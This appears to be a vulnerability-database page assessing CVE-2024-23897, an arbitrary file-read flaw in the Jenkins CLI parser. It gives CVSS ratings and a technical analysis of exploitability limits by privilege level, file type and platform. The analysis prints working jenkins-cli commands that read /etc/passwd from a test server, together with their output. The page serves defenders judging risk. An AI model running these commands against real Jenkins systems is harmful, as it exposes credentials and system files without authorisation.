Attacker Value
High
(2 users assessed)
Exploitability
High
(2 users assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
6

CVE-2024-23897

Disclosure Date: January 24, 2024 •
CVE-2024-23897 CVSS v3 Base Score: 9.8
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an ‘@’ character followed by a file path in an argument with the file’s contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.

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2
Ratings
  • Attacker Value
    Medium
  • Exploitability
    High
UnauthenticatedVulnerable in default configurationDifficult to weaponize
Technical Analysis

Looking into this vulnerability, there are a number of factors to consider when gauging exploitability. Horizion3ai have a good blog post going into detail on this, and the original vendor advisory also goes into detail on the constraints of successful exploitation.

While the vulnerability does allow for arbitrary file reading, there are several constraints that may make an attackers ability to read arbitrary files less likely to succeed. The main factors are the privileges the attacker has on the target Jenkins system (if any), the target platform that Jenkins is running on, and the type of file the attacker wants to read. Finally, based on what the attacker can successfully read, the attacker must then leverage this somehow, e.g. if they read an encrypted password, are they able to crack it? If they read a secret key from a text file, do they also need to successfully read encrypted binary files?

At a minimum, an unauthenticated attacker can read up to 3 lines of an arbitrary text file, for example the following 3 CLI requests will return the first, second and third line of the text file /etc/passwd (Jenkins is running in a docker container for this example). The CLI command who-am-i, enable-job, and keep-build are used to read the first, second and third line numbers respectively – although other commands such as help will return the first and second line of a file.

$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 who-am-i @/etc/passwd

ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
java -jar jenkins-cli.jar who-am-i
Reports your credential and permissions.

$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 enable-job @/etc/passwd

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar enable-job NAME
Enables a job.
 NAME : Job name

$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 keep-build @/etc/passwd

ERROR: Too many arguments: bin:x:2:2:bin:/bin:/usr/sbin/nologin
java -jar jenkins-cli.jar keep-build NAME BUILD#
Mark the build to keep the build forever.
 NAME   : Item name
 BUILD# : Build number

The first 3 lines of the file can then be reconstituted as follows:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

If an attacker has an account with Overall/Read permission on the target Jenkins system, the entire contents of a text file can be read, via the CLI command connect-node, as shown below:

Note: When leveraging the CLI command connect-node, the returned lines of text are displayed out of order to that of the original file.

$ java -jar jenkins-cli.jar -auth admin:qwerty12345 -s http://192.168.86.70:8080 connect-node @/etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

The issue is complicated further if the attacker wants to read a binary file, as the target systems string encoding method may remove unsupported bytes in the string output. As noted in the original vendor advisory, Linux will use UTF-8 by default which may remove as much as 50% of all encoded characters, while Windows uses Windows-1252 which will remove only 5 out of the 256 possible byte values being returned.

The vendor advisory gives several examples of how to leverage this vulnerability to achieve something (such as RCE), but they all require the ability to successfully read a binary file. While not impossible, in may scenarios it may not be practical for an attacker to achieve this. The Horizion3ai blog also has some good detail on these constraints too.

We can summarize the constraints an attacker will face when exploiting this vulnerability with the following table:

Note, “Authenticated” in this context means an attacker has privileges on the Jenkins system with the Overall/Read permission.

Attacker Privileges File Type Target Platform Impact
Unauthenticated Text Linux Can read the first 3 lines of any text file
Unauthenticated Text Windows Can read the first 3 lines of any text file
Unauthenticated Binary Linux Can read some contents, the target platform character encoding is likely UTF-8, so half of the 256 possible bytes will be returned with an incorrect value, making recovery of the original file unlikely
Unauthenticated Binary Windows Can read some contents, the target platform character encoding is likely Windows-1252, so only 5 of the 256 possible bytes will be returned with an incorrect value, making recovery of the original more likely than the Linux counterpart
Authenticated Text Linux Can read the entire contents of any text file
Authenticated Text Windows Can read the entire contents of any text file
Authenticated Binary Linux Can read the entire contents of any file, the target platform character encoding is likely UTF-8, so half of the 256 possible bytes will be returned with an incorrect value, making recovery of the original file unlikely
Authenticated Binary Windows Can read the entire contents of any file, the target platform character encoding is likely Windows-1252, so only 5 of the 256 possible bytes will be returned with an incorrect value, making recovery of the original more likely than the Linux counterpart

It is currently unknown if an unauthenticated attacker can compromise a Jenkins system by only reading the first 3 lines of a text file via this vulnerability.

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CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
Jenkins not down converted
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
Unknown
Reporter
Unknown

Vendors

  • jenkins

Products

  • jenkins
Technical Analysis